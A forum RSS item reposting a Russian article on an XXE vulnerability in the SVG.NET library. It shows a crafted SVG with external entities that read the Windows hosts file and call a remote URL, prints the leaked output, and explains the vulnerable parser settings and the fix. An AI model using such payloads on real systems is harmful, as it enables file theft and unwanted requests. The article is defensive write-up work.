<?xml version='1.0' encoding="utf-8"?>
      <rss version='2.0'>
      <channel>
      <title>Форум на Исходниках.RU</title>
      <link>https://forum.sources.ru</link>
      <description>Форум на Исходниках.RU</description>
      <generator>Форум на Исходниках.RU</generator>
  	
      <item>
        <guid isPermaLink='true'>https://forum.sources.ru/index.php?showtopic=428725&amp;view=findpost&amp;p=3871989</guid>
        <pubDate>Wed, 20 Jul 2022 08:19:48 +0000</pubDate>
        <title>Почему моё приложение при открытии SVG-файла отправляет сетевые запросы?</title>
        <link>https://forum.sources.ru/index.php?showtopic=428725&amp;view=findpost&amp;p=3871989</link>
        <description><![CDATA[Unicorn developer: <br>
<strong class='tag-b'>Вы решили сделать приложение, работающее с SVG. Набрали библиотек, запаслись энтузиазмом, и в итоге всё удалось.<br>
Но вот незадача&#33; Внезапно вы обнаруживаете, что приложение отправляет странные сетевые запросы. Кроме того, с хост-машины утекают данные. Как же так?</strong><br>
<br>
<img class='tag-img' src='https://import.viva64.com/docx/blog/0923_SVG_XXE_ru/image1.png' alt='user posted image'><br>
<br>
В современном мире на каждый случай жизни есть библиотека. Поэтому для своего приложения мы также не будем изобретать велосипед, а возьмём готовое решение. Например, SVG.NET. Исходный код проекта доступен на <a class='tag-url' href='https://github.com/svg-net/SVG' target='_blank'>GitHub</a>. Сама библиотека дистрибьютится как NuGet-пакет, что очень удобно в плане подключения к проекту. Кстати, на странице проекта в <a class='tag-url' href='https://www.nuget.org/packages/svg' target='_blank'>NuGet Gallery</a> можно увидеть, что библиотеку загрузили 2.5 миллиона раз – впечатляет&#33;<br>
<br>
Рассмотрим синтетический пример описанного ранее приложения:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">void ProcessSvg()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp;using var svgStream = GetSvgFromUser(); &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp;var svgDoc = SvgDocument.Open&#60;SvgDocument&#62;(svgStream); &nbsp; &nbsp;</div><div class="code_line">&nbsp;&nbsp;</div><div class="code_line">&nbsp;&nbsp;// SVG document processing...</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp;SendSvgToUser(svgDoc);</div><div class="code_line">}</div></ol></div></div></div></div><script>preloadCodeButtons('1');</script><br>
Суть проста:<br>
<ol class="tag-list" type="1"><li>Получаем от пользователя картинку. Как именно – не принципиально.</li><li>Создаётся экземпляр SvgDocument, с которым дальше осуществляются какие-то действия. Например, некоторые преобразования.</li><li>Изменённый объект отправляется обратно пользователю.</li><li>Реализация методов GetSvgFromUser и SendSvgToUser в данном случае не столь важна. Будем считать, что первый принимает картинку по сети, а второй отправляет её обратно.</li></ol><br>
Что скрывается за &quot;SVG document processing...&quot;? И вновь здесь нам это не важно, так что у нас... ничего не будет.<br>
<br>
По факту мы просто загружаем картинку и сохраняем её обратно. Просто? Достаточно, чтобы начали происходить странные вещи. :)<br>
<br>
Для экспериментов возьмём специально заготовленный SVG-файл. Внешне он выглядит как логотип анализатора PVS-Studio. Посмотрим на его отрисовку в браузере, чтобы убедиться, что всё с ним в порядке.<br>
<br>
<img class='tag-img' src='https://import.viva64.com/docx/blog/0923_SVG_XXE_ru/image2.png' alt='user posted image'><br>
<br>
Никаких проблем нет. Отправляем в наше приложение. Оно никаких операций над изображением не проводит (напоминаю, что за комментарием в коде ничего не скрывается) и просто отправляет SVG нам обратно.<br>
<br>
Открываем полученный файл и ожидаемо видим ту же картину.<br>
<br>
<img class='tag-img' src='https://import.viva64.com/docx/blog/0923_SVG_XXE_ru/image3.png' alt='user posted image'><br>
<br>
Самое интересное произошло за кулисами (во время вызова метода SvgDocument.Open&lt;T&gt;).<br>
<br>
Первое – приложение отправило незапланированный запрос к <a class='tag-url' href='https://pvs-studio.com/' target='_blank'>pvs-studio.com</a>. Это можно было увидеть, например, отмониторив сетевую активность приложения.<br>
<br>
<img class='tag-img' src='https://import.viva64.com/docx/blog/0923_SVG_XXE_ru/image4.png' alt='user posted image'><br>
<br>
Второе – пользователь приложения получил файл <a class='tag-url' href='https://en.wikipedia.org/wiki/Hosts_(file)' target='_blank'>hosts</a> с машины, на которой открывался SVG.<br>
<br>
Как? Где этот файл? Давайте посмотрим на текстовое представление SVG-файла, полученного от приложения. Ненужные части сократим, чтобы не мешались.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&#62;</div><div class="code_line">&#60;!DOCTYPE svg .... &#62;</div><div class="code_line">&#60;svg ....&#62;</div><div class="code_line">&nbsp;&nbsp;&#60;style type=&quot;text/css&quot;&#62;</div><div class="code_line">&nbsp;&nbsp; &nbsp;....</div><div class="code_line">&nbsp;&nbsp;&#60;/style&#62;</div><div class="code_line">&nbsp;&nbsp;&#60;polygon .... /&#62;</div><div class="code_line">&nbsp;&nbsp;&#60;polygon .... /&#62;</div><div class="code_line">&nbsp;&nbsp;&#60;polygon .... /&#62;</div><div class="code_line">&nbsp;&nbsp;&#60;polygon .... /&#62;</div><div class="code_line">&nbsp;&nbsp;&#60;polygon&#62;# Copyright (c) 1993-2009 Microsoft Corp.</div><div class="code_line">#</div><div class="code_line"># This is a sample HOSTS file used by Microsoft TCP/IP for Windows.</div><div class="code_line">#</div><div class="code_line"># This file contains the mappings of IP addresses to host names. Each</div><div class="code_line"># entry should be kept on an individual line. The IP address should</div><div class="code_line"># be placed in the first column followed by the corresponding host name.</div><div class="code_line"># The IP address and the host name should be separated by at least one</div><div class="code_line"># space.</div><div class="code_line">#</div><div class="code_line"># Additionally, comments (such as these) may be inserted on individual</div><div class="code_line"># lines or following the machine name denoted by a &#39;#&#39; symbol.</div><div class="code_line">#</div><div class="code_line"># For example:</div><div class="code_line">#</div><div class="code_line"># &nbsp; &nbsp; &nbsp;102.54.94.97 &nbsp; &nbsp; rhino.acme.com &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# source server</div><div class="code_line"># &nbsp; &nbsp; &nbsp; 38.25.63.10 &nbsp; &nbsp; x.acme.com &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# x client host</div><div class="code_line">#</div><div class="code_line"># localhost name resolution is handled within DNS itself.</div><div class="code_line"># &nbsp; 127.0.0.1 &nbsp; &nbsp; &nbsp; localhost</div><div class="code_line"># &nbsp; ::1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; localhost</div><div class="code_line">#</div><div class="code_line"># A special comment indicating that XXE attack was performed successfully.</div><div class="code_line">#&#60;/polygon&#62;</div><div class="code_line">&#60;/svg&#62;</div></ol></div></div></div></div><br>
Вот и hosts файл с целевой машины – аккуратно спрятан в SVG-файле без каких-либо внешних проявлений.<br>
<br>
Откуда там взялось содержимое hosts? Откуда дополнительный сетевой запрос? Что ж, давайте разбираться.<br>
<br>
<strong class='tag-b'><span class='tag-size' data-value='14' style='font-size:14pt;'>Разбираем атаку</span></strong><br>
<br>
Те, кто знаком с <a class='tag-url' href='https://pvs-studio.com/ru/blog/terms/6546/' target='_blank'>XXE-атакой</a>, возможно, уже поняли, в чём дело. Если про XXE вы не слышали или подзабыли, что это такое – настоятельно рекомендую ознакомиться со статьёй &quot;<a class='tag-url' href='https://pvs-studio.com/ru/blog/posts/csharp/0918/' target='_blank'>Уязвимости из-за обработки XML-файлов: XXE в C# приложениях в теории и на практике</a>&quot;. В ней я рассказываю о сути XXE, причинах и последствиях. Эта информация потребуется для понимания дальнейшего изложения.<br>
<br>
Напомню, что для проведения XXE-атаки необходимы:<br>
<ul class="tag-list"><li>данные от пользователя, которые могут быть скомпрометированы;</li><li>небезопасно сконфигурированный XML-парсер.</li></ul><br>
Злоумышленнику также на руку будет, если ему в каком-то виде вернётся результат обработки скомпрометированных данных XML-парсером.<br>
<br>
В данном случае &quot;все звёзды совпали&quot;:<br>
<ul class="tag-list"><li>скомпрометированные данные – SVG файл, который пользователь отправляет в приложение;</li><li>небезопасно сконфигурированный XML-парсер – есть, находится внутри библиотеки открытия SVG-файла;</li><li>результат работы парсера возвращается обратно пользователю в виде &quot;обработанного&quot; SVG-файла.</li></ul><br>
<strong class='tag-b'><span class='tag-size' data-value='14' style='font-size:14pt;'>Скомпрометированные данные</span></strong><br>
<br>
Первое, что нужно вспомнить – <a class='tag-url' href='https://ru.wikipedia.org/wiki/SVG' target='_blank'>формат SVG основан на XML</a>. Это даёт возможность определять в SVG-файлах XML-сущности, которые и нужны для проведения XXE.<br>
<br>
Несмотря на то, что в браузере SVG-файл &quot;подставной&quot; выглядит обычным образом, внутри он содержит объявление двух сущностей:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&#62;</div><div class="code_line">&#60;!DOCTYPE polygon [</div><div class="code_line">&nbsp;&nbsp;&#60;!ENTITY queryEntity SYSTEM &quot;https://files.pvs-studio.com/rules/ccr.xml&quot;&#62;</div><div class="code_line">&nbsp;&nbsp;&#60;!ENTITY hostsEntity SYSTEM &quot;file:///C:/Windows/System32/drivers/etc/hosts&quot;&#62;</div><div class="code_line">]&#62;</div><div class="code_line">&#60;svg id=&quot;Layer_1&quot; </div><div class="code_line">&nbsp;&nbsp; &nbsp; data-name=&quot;Layer 1&quot; </div><div class="code_line">&nbsp;&nbsp; &nbsp; xmlns=&quot;http://www.w3.org/2000/svg&quot; </div><div class="code_line">&nbsp;&nbsp; &nbsp; viewBox=&quot;0 0 1967 1933.8&quot;&#62;</div><div class="code_line">&nbsp;&nbsp;&#60;style type=&quot;text/css&quot;&#62;</div><div class="code_line">&nbsp;&nbsp; &nbsp;....</div><div class="code_line">&nbsp;&nbsp;&#60;/style&#62;</div><div class="code_line">&nbsp;&nbsp;....</div><div class="code_line">&nbsp;&nbsp;&#60;polygon&#62;&queryEntity;&#60;/polygon&#62;</div><div class="code_line">&nbsp;&nbsp;&#60;polygon&#62;&hostsEntity;&#60;/polygon&#62;</div><div class="code_line">&#60;/svg&#62;</div></ol></div></div></div></div><br>
Если XML-парсер работает с внешними сущностями, то:<br>
<ul class="tag-list"><li>при обработке queryEntity он выполнит сетевой запрос к files.pvs-studio.com;</li><li>при обработке hostsEntity вместо сущности он подставит содержимое файла hosts.</li></ul><br>
Получается своего рода SVG-ловушка: при отрисовке файл выглядит обычным, но внутри оказывается с подвохом.<br>
<br>
<strong class='tag-b'><span class='tag-size' data-value='14' style='font-size:14pt;'>Небезопасно сконфигурированный XML-парсер</span></strong><br>
<br>
Стоит помнить, что за использование внешних библиотек приходится платить свою цену. Если у вас уже был лист возможных негативных последствий, добавляйте к нему ещё одно – потенциальные дефекты безопасности.<br>
<br>
Для создания экземпляра SvgDocument мы использовали метод Open&lt;T&gt;. Его исходный код выглядит так:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">public static T Open&#60;T&#62;(Stream stream) where T : SvgDocument, new()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp;return Open&#60;T&#62;(stream, null);</div><div class="code_line">}</div></ol></div></div></div></div><br>
Этот метод, в свою очередь, вызывает другую перегрузку:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">public static T Open&#60;T&#62;(Stream stream, Dictionary&#60;string, string&#62; entities) </div><div class="code_line">&nbsp;&nbsp;where T : SvgDocument, new()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp;if (stream == null)</div><div class="code_line">&nbsp;&nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp;throw new ArgumentNullException(&quot;stream&quot;);</div><div class="code_line">&nbsp;&nbsp;}</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp;// Don&#39;t close the stream via a dispose: that is the client&#39;s job.</div><div class="code_line">&nbsp;&nbsp;var reader = new SvgTextReader(stream, entities)</div><div class="code_line">&nbsp;&nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp;XmlResolver = new SvgDtdResolver(),</div><div class="code_line">&nbsp;&nbsp; &nbsp;WhitespaceHandling = WhitespaceHandling.Significant,</div><div class="code_line">&nbsp;&nbsp; &nbsp;DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : DtdProcessing.Parse,</div><div class="code_line">&nbsp;&nbsp;};</div><div class="code_line">&nbsp;&nbsp;return Open&#60;T&#62;(reader);</div><div class="code_line">}</div></ol></div></div></div></div><br>
Забегая вперёд, хочется сказать, что в Open&lt;T&gt;(reader) происходит вычитка SVG-файла и создание экземпляра SvgDocument.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">private static T Open&#60;T&#62;(XmlReader reader) where T : SvgDocument, new()</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp;....</div><div class="code_line">&nbsp;&nbsp;T svgDocument = null;</div><div class="code_line">&nbsp;&nbsp;....</div><div class="code_line">&nbsp;</div><div class="code_line">&nbsp;&nbsp;while (reader.Read())</div><div class="code_line">&nbsp;&nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp;try</div><div class="code_line">&nbsp;&nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;switch (reader.NodeType)</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;....</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;catch (Exception exc)</div><div class="code_line">&nbsp;&nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;....</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp;}</div><div class="code_line">&nbsp;&nbsp;....</div><div class="code_line">&nbsp;&nbsp;return svgDocument;</div><div class="code_line">}</div></ol></div></div></div></div><br>
Конструкции while (reader.Read()) и switch (reader.NodeType) должны быть хорошо знакомы всем, кто работал с XmlReader. Так как это +- типовой код вычитки XML, останавливаться на нём не будем, а вернёмся к созданию XML-парсера.<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">var reader = new SvgTextReader(stream, entities)</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp;XmlResolver = new SvgDtdResolver(),</div><div class="code_line">&nbsp;&nbsp;WhitespaceHandling = WhitespaceHandling.Significant,</div><div class="code_line">&nbsp;&nbsp;DtdProcessing = SvgDocument.DisableDtdProcessing ? DtdProcessing.Ignore </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : DtdProcessing.Parse,</div><div class="code_line">};</div></ol></div></div></div></div><br>
Чтобы понять, является ли конфигурация парсера опасной, нужно уточнить следующие моменты:<br>
<ul class="tag-list"><li>что из себя представляет экземпляр SvgDtdResolver;</li><li>включена ли обработка DTD.</li></ul><br>
И тут я хочу в очередной раз сказать – славься Open Source&#33; Несказанное удовольствие состоит в том, что есть возможность самому повозиться в коде и разобраться, что и как работает.<br>
<br>
Начнём со свойства DtdProcessing, зависящего от SvgDocument.DisableDtdProcessing:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">/// &#60;summary&#62;</div><div class="code_line">/// Skip the Dtd Processing for faster loading of</div><div class="code_line">/// svgs that have a DTD specified.</div><div class="code_line">/// For Example Adobe Illustrator svgs.</div><div class="code_line">/// &#60;/summary&#62;</div><div class="code_line">public static bool DisableDtdProcessing { get; set; }</div></ol></div></div></div></div><br>
Статическое свойство, значение которого мы не изменяли. В конструкторе типа оно тоже не фигурирует, значение по умолчанию – false. Соответственно, DtdProcessing принимает значение DtdProcessing.Parse.<br>
<br>
Переходим к свойству XmlResolver. Посмотрим, что из себя представляет тип SvgDtdResolver:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">internal class SvgDtdResolver : XmlUrlResolver</div><div class="code_line">{</div><div class="code_line">&nbsp;&nbsp;/// ....</div><div class="code_line">&nbsp;&nbsp;public override object GetEntity(Uri absoluteUri, </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; string role, </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Type ofObjectToReturn)</div><div class="code_line">&nbsp;&nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp;if (absoluteUri.ToString()</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .IndexOf(&quot;svg&quot;, </div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;StringComparison.InvariantCultureIgnoreCase) &#62; -1)</div><div class="code_line">&nbsp;&nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;return Assembly.GetExecutingAssembly()</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; .GetManifestResourceStream(&quot;Svg.Resources.svg11.dtd&quot;);</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp; &nbsp;else</div><div class="code_line">&nbsp;&nbsp; &nbsp;{</div><div class="code_line">&nbsp;&nbsp; &nbsp; &nbsp;return base.GetEntity(absoluteUri, role, ofObjectToReturn);</div><div class="code_line">&nbsp;&nbsp; &nbsp;}</div><div class="code_line">&nbsp;&nbsp;}</div><div class="code_line">}</div></ol></div></div></div></div><br>
По сути SvgDtdResolver – всё тот же XmlUrlResolver. Логика только немного отличается для случая, когда absoluteUri содержит подстроку &quot;svg&quot;. А из <a class='tag-url' href='https://pvs-studio.com/ru/blog/posts/csharp/0918/' target='_blank'>статьи про XXE</a> мы помним, что использование экземпляра XmlUrlResolver для обработки внешних сущностей чревато проблемами безопасности. Выходит, что с SvgDtdResolver та же ситуация.<br>
<br>
Получаем выполнение всех необходимых условий:<br>
<ul class="tag-list"><li>обработка DTD включена (свойство DtdProcessing имеет значение DtdProcessing.Parse);</li><li>в парсере используется опасный резолвер (свойство XmlResolver ссылается на экземпляр небезопасного SvgDtdResolver).</li></ul><br>
Как следствие, созданный объект SvgTextReader является потенциально (а как убедились на практике – и реально) уязвимым к XXE-атаке.<br>
<br>
<strong class='tag-b'><span class='tag-size' data-value='14' style='font-size:14pt;'>Фикс проблемы</span></strong><br>
<br>
На странице проекта на GitHub по поводу этой проблемы был открыт issue – &quot;Security: vulnerable to XXE attacks&quot;. Через неделю – ещё один. Для каждого issue был сделан PR: первый, второй.<br>
<br>
Если вкратце, фикс заключается в том, что по умолчанию выключили обработку внешних сущностей.<br>
<br>
В первом PR добавили опцию ResolveExternalResources, которая отвечает за то, будет ли SvgDtdResolver обрабатывать внешние сущности. По умолчанию обработка выключена.<br>
<br>
<img class='tag-img' src='https://import.viva64.com/docx/blog/0923_SVG_XXE_ru/image5.png' alt='user posted image'><br>
<br>
Во втором PR кода докинули побольше, а булев флаг заменили на перечисление. По умолчанию резолвинг внешних сущностей всё так же запрещён. Изменений в коде побольше, если интересно – посмотреть их можно <a class='tag-url' href='https://github.com/svg-net/SVG/pull/873/files' target='_blank'>здесь</a>.<br>
<br>
Если обновить пакет &#39;Svg&#39; до безопасной версии, запустить в том же приложении и с теми же входными данными (то есть с подставным SVG-файлом), получим другие результаты.<br>
<br>
Приложение больше не выполняет сетевых запросов, равно как и не &quot;крадёт&quot; файлы. Если посмотреть результирующий SVG-файл, можно заметить, что сущности просто ни во что не раскрылись:<br>
<div class='tag-code'><span class='pre_code'></span><div class='code  code_collapsed ' title='Подсветка синтаксиса доступна зарегистрированным участникам Форума.' style=''><div><div><ol type="1"><div class="code_line">&#60;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&#62;</div><div class="code_line">&#60;!DOCTYPE svg ...&#62;</div><div class="code_line">&#60;svg version=&quot;1.1&quot;</div><div class="code_line">&nbsp;&nbsp; &nbsp; ....&#62;</div><div class="code_line">&nbsp;&nbsp;&#60;style type=&quot;text/css&quot;&#62;</div><div class="code_line">&nbsp;&nbsp; &nbsp;....</div><div class="code_line">&nbsp;&nbsp;&#60;/style&#62;</div><div class="code_line">&nbsp;&nbsp;....</div><div class="code_line">&nbsp;&nbsp;&#60;polygon /&#62;</div><div class="code_line">&nbsp;&nbsp;&#60;polygon /&#62;</div><div class="code_line">&#60;/svg&#62;</div></ol></div></div></div></div><br>
<strong class='tag-b'><span class='tag-size' data-value='14' style='font-size:14pt;'>Как обезопаситься?</span></strong><br>
<br>
Зависит от того, кто интересуется. :)<br>
<br>
Как минимум неплохо хотя бы знать про XXE, чтобы быть внимательнее, когда дело доходит до работы с XML-файлами. Конечно, это не защитит от всех опасных случаев (будем честны – ничто не защитит), но даст какое-то осознание возможных последствий.<br>
<br>
Помочь с поиском подобных проблем в коде могут SAST-решения. Вообще список того, что можно ловить с помощью SAST, достаточно большой, и XXE вполне в него попадает.<br>
<br>
Немного иначе обстоит дело, если вы используете внешнюю библиотеку, а не работаете с исходниками. Например, как в случае с нашим приложением, когда библиотека работы с SVG была подключена в качестве NuGet-пакета. Здесь SAST уже не поможет, так как доступа к исходному коду библиотеки у инструмента нет. Хотя если статический анализатор работает с промежуточным кодом (IL, например), у него всё ещё есть возможность обнаружить проблему.<br>
<br>
Тем не менее, для проверки зависимостей проектов используются отдельные инструменты – SCA-решения. О том, что такое SCA, почитать можно <a class='tag-url' href='https://pvs-studio.com/ru/blog/posts/csharp/0876/' target='_blank'>здесь</a>. Цель таких инструментов – отслеживать использование зависимостей с известными уязвимостями и предупреждать об этом. Здесь, конечно, важную роль играет база этих самых уязвимых компонентов. Чем она больше, тем лучше.<br>
<br>
И, естественно, не забывайте обновлять программные компоненты. Ведь кроме новых фич и баг-фиксов в новых версиях исправляются и дефекты безопасности. Например, в SVG.NET обозреваемый дефект безопасности был закрыт в релизе <a class='tag-url' href='https://www.nuget.org/packages/Svg/3.3.0' target='_blank'>3.3.0</a>.<br>
<br>
<strong class='tag-b'><span class='tag-size' data-value='14' style='font-size:14pt;'>Заключение</span></strong><br>
<br>
Как-то я уже говорил, что XXE – довольно коварная штука. Рассмотренный сегодня экземпляр коварен вдвойне. Мало того, что он спрятался за обработкой SVG-файлов, так ещё и &quot;проникал&quot; в приложение через NuGet-пакет. Кто знает, сколько ещё уязвимостей прячется в разных компонентах и успешно эксплуатируется?]]></description>
        <author>Unicorn developer</author>
        <category>.NET: Общие вопросы</category>
      </item>
	
      </channel>
      </rss>
	